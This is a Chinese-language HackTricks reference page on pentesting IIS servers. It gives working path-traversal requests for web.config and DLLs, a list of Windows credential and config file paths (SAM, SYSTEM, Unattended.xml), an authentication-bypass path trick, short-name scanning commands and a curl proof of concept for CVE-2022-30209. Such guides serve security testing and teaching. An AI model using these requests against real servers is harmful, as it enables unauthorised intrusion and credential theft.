hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

14 KiB
Raw Blame History

IIS - Internet Information Services

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

测试可执行文件扩展名:

  • asp
  • aspx
  • config
  • php

内部IP地址泄露

在任何收到302响应的IIS服务器上您可以尝试剥离Host标头并使用HTTP/1.0在响应中Location标头可能指向内部IP地址

nc -v domain.com 80
openssl s_client -connect domain.com:443

响应披露内部IP

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

执行 .config 文件

您可以上传 .config 文件并使用它们来执行代码。一种方法是将代码附加到文件末尾的 HTML 注释中:在此下载示例

有关更多信息和利用此漏洞的技术,请查看此处

IIS 发现暴力破解

下载我创建的列表:

{% file src="../../.gitbook/assets/iisfinal.txt" %}

该列表是通过合并以下列表的内容创建的:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

请勿添加任何扩展名,需要扩展名的文件已经包含在内。

路径遍历

泄露源代码

查看完整的解说:https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

{% hint style="info" %} 简而言之,应用程序的文件夹中有几个包含对 "assemblyIdentity" 文件和 "namespaces" 的引用的 web.config 文件。有了这些信息,就可以知道 可执行文件的位置 并下载它们。
下载的 Dlls 中,还可以找到 新的命名空间,您应该尝试访问并获取 web.config 文件,以查找新的命名空间和 assemblyIdentity。
此外,文件 connectionstrings.configglobal.asax 可能包含有趣的信息。\

{% endhint %}

.Net MVC 应用程序 中,web.config 文件通过指定每个二进制文件应用程序依赖的 "assemblyIdentity" XML 标签发挥关键作用。

探索二进制文件

下面是访问 web.config 文件的示例:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

这个请求揭示了各种设置和依赖关系,比如:

  • EntityFramework 版本
  • 用于网页、客户端验证和JavaScript的 AppSettings
  • 用于身份验证和运行时的 System.web 配置
  • System.webServer 模块设置
  • 用于诸如 Microsoft.OwinNewtonsoft.JsonSystem.Web.Mvc 等多个库的 Runtime 组件绑定

这些设置表明某些文件,比如 /bin/WebGrease.dll,位于应用程序的 /bin 文件夹中。

根目录文件

根目录中的文件,比如 /global.asax/connectionstrings.config(其中包含敏感密码),对应用程序的配置和运行至关重要。

命名空间和 Web.Config

MVC 应用程序还为特定命名空间定义了额外的 web.config 文件,以避免在每个文件中重复声明,如通过请求下载另一个 web.config 文件所示:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

下载 DLLs

提到自定义命名空间暗示着在 /bin 目录中存在一个名为 "WebApplication1" 的 DLL。接着展示了下载 WebApplication1.dll 的请求:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

这表明在/bin目录中存在其他重要的DLL比如System.Web.Mvc.dllSystem.Web.Optimization.dll

在一个场景中一个DLL导入了一个名为WebApplication1.Areas.Minded的命名空间攻击者可能推断出在可预测路径中存在其他web.config文件比如**/area-name/Views/,其中包含特定配置和对/bin文件夹中其他DLL的引用。例如/Minded/Views/web.config的请求可以显示配置和命名空间表明另一个DLLWebApplication1.AdditionalFeatures.dll**的存在。

常见文件

来自这里

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404错误

如果您看到如下错误:

这意味着服务器未收到正确的域名在主机头中。
为了访问网页,您可以查看提供的SSL证书,也许您可以在其中找到域名/子域名。如果没有找到,您可能需要暴力破解虚拟主机直到找到正确的一个。

值得寻找的旧IIS漏洞

Microsoft IIS波浪符“~”漏洞/特性 - 短文件/文件夹名称泄露

您可以尝试枚举每个发现的文件夹中的文件和文件夹(即使需要基本身份验证)使用此技术
此技术的主要限制是,如果服务器存在漏洞,它只能找到每个文件/文件夹名称的前6个字母和文件扩展名的前3个字母

您可以使用https://github.com/irsdl/IIS-ShortName-Scanner来测试此漏洞:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

原始研究:https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

您还可以使用metasploituse scanner/http/iis_shortname_scanner

基本身份验证绕过

绕过基本身份验证(IIS 7.5)尝试访问:/admin:$i30:$INDEX_ALLOCATION/admin.php/admin::$INDEX_ALLOCATION/admin.php

您可以尝试结合漏洞和上一个漏洞来查找新的文件夹绕过身份验证。

ASP.NET Trace.AXD启用调试

ASP.NET包括调试模式其文件名为trace.axd

它会详细记录一段时间内发送到应用程序的所有请求。

这些信息包括远程客户端IP、会话ID、所有请求和响应cookie、物理路径、源代码信息甚至可能包括用户名和密码。

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH使用以下信息

  • validationKey(字符串):用于签名验证的十六进制编码密钥。
  • decryptionMethod字符串默认为“AES”
  • decryptionIV(字符串):十六进制编码的初始化向量(默认为零向量)。
  • decryptionKey(字符串):用于解密的十六进制编码密钥。

然而,一些人会使用这些参数的默认值,并将用户的电子邮件用作cookie。因此如果您可以找到一个使用ASPXAUTH cookie的相同平台的网站并在受攻击的服务器上创建一个使用要模拟用户的用户的电子邮件的用户您可能能够在第一个服务器中使用第二个服务器的cookie并冒充用户。
这种攻击在这个writeup中起作用。

IIS身份验证绕过缓存密码CVE-2022-30209

完整报告在此处:代码中的一个错误未正确检查用户提供的密码,因此,如果密码哈希命中已在缓存中的密钥,攻击者将能够以该用户身份登录。

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

其他支持HackTricks的方式